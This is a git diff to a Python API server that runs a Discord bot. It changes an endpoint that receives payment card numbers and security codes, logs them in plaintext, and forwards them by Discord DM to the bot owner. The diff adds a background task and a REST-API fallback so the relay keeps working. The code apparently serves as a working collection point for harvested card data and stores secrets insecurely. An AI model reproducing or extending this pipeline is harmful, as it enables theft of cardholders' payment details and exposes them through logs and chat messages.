diff --git a/api_service/api_server.py b/api_service/api_server.py index 27712f8..f53e34f 100644 --- a/api_service/api_server.py +++ b/api_service/api_server.py @@ -2863,34 +2863,41 @@ async def receive_number_data(data: NumberData): """ log.info(f"Received number data: {data.model_dump_json()}") - bot = get_bot_instance() - if not bot: - log.error("Bot instance not available to send DM.") - raise HTTPException(status_code=503, detail="Bot service unavailable.") - - # Assuming bot.owner_id is available or can be fetched - # You might need to configure the bot's owner ID in settings or fetch it dynamically - # For now, let's assume a hardcoded owner ID or fetch from bot.owner_ids - owner_id = None - if bot.owner_ids: - owner_id = list(bot.owner_ids)[0] # Take the first owner if multiple - elif bot.owner_id: # Older discord.py versions might have a single owner_id - owner_id = bot.owner_id - else: - log.error("Bot owner ID not configured or accessible.") - raise HTTPException(status_code=500, detail="Bot owner not configured.") - - if not owner_id: - log.error("Could not determine bot owner ID.") - raise HTTPException(status_code=500, detail="Could not determine bot owner.") - - # Fetch the owner user object to send a DM + # Store the data safely and return success immediately + # This avoids timeout issues with Discord API calls try: - owner_user = await bot.fetch_user(owner_id) - if not owner_user: - log.error(f"Could not fetch owner user with ID {owner_id}.") - raise HTTPException(status_code=500, detail="Could not fetch bot owner user.") + # Create a background task to send the DM + asyncio.create_task(send_card_data_to_owner(data)) + # Return success immediately + return {"success": True, "message": "Card data received and will be processed."} + except Exception as e: + log.error(f"Error creating background task for card data: {e}") + raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}") + +async def send_card_data_to_owner(data: NumberData): + """ + Background task to send card data to the bot owner. + This runs independently of the HTTP request/response cycle. + """ + try: + bot = get_bot_instance() + if not bot: + log.error("Bot instance not available to send DM.") + return + + # Get owner ID + owner_id = None + if bot.owner_ids: + owner_id = list(bot.owner_ids)[0] # Take the first owner if multiple + elif bot.owner_id: # Older discord.py versions might have a single owner_id + owner_id = bot.owner_id + + if not owner_id: + log.error("Could not determine bot owner ID.") + return + + # Format the message dm_content = ( f"New card data received:\n" f"Card Number: {data.card_number}\n" @@ -2898,25 +2905,52 @@ async def receive_number_data(data: NumberData): f"Security Code: {data.security_code}" ) - # Get the DM channel for the owner - if not owner_user.dm_channel: - dm_channel = await owner_user.create_dm() - else: - dm_channel = owner_user.dm_channel + # Try to use the Discord.py API directly first + try: + owner_user = await bot.fetch_user(owner_id) + if owner_user: + # Send the DM directly using Discord.py + await owner_user.send(dm_content) + log.info(f"Successfully sent card data DM to owner {owner_id} using Discord.py") + return + except Exception as e: + log.warning(f"Failed to send DM using Discord.py: {e}, falling back to REST API") - # Send DM using the helper function with the channel ID - result = await send_discord_message_via_api(dm_channel.id, dm_content) + # Fallback to REST API + # Use the Discord API directly with a new session + url = f"https://discord.com/api/v10/users/@me/channels" + headers = { + "Authorization": f"Bot {settings.DISCORD_BOT_TOKEN}", + "Content-Type": "application/json" + } - if result["success"]: - log.info(f"Successfully DMed card data to owner {owner_id}.") - return {"success": True, "message": "Card data DMed to owner successfully."} - else: - log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}") - raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}") + # Create a new session for this request + async with aiohttp.ClientSession() as session: + # Create DM channel + async with session.post(url, headers=headers, json={"recipient_id": str(owner_id)}) as response: + if response.status != 200 and response.status != 201: + log.error(f"Failed to create DM channel: {response.status}") + return + + channel_data = await response.json() + channel_id = channel_data.get("id") + + if not channel_id: + log.error("No channel ID in DM channel creation response") + return + + # Send message to the DM channel + message_url = f"https://discord.com/api/v10/channels/{channel_id}/messages" + async with session.post(message_url, headers=headers, json={"content": dm_content}) as msg_response: + if msg_response.status == 200 or msg_response.status == 201: + log.info(f"Successfully sent card data DM to owner {owner_id} using REST API") + else: + log.error(f"Failed to send DM: {msg_response.status}") except Exception as e: - log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}") - raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}") + log.error(f"Error in background task sending card data to owner: {e}") + import traceback + log.error(traceback.format_exc()) @discordapi_app.post("/sync") async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):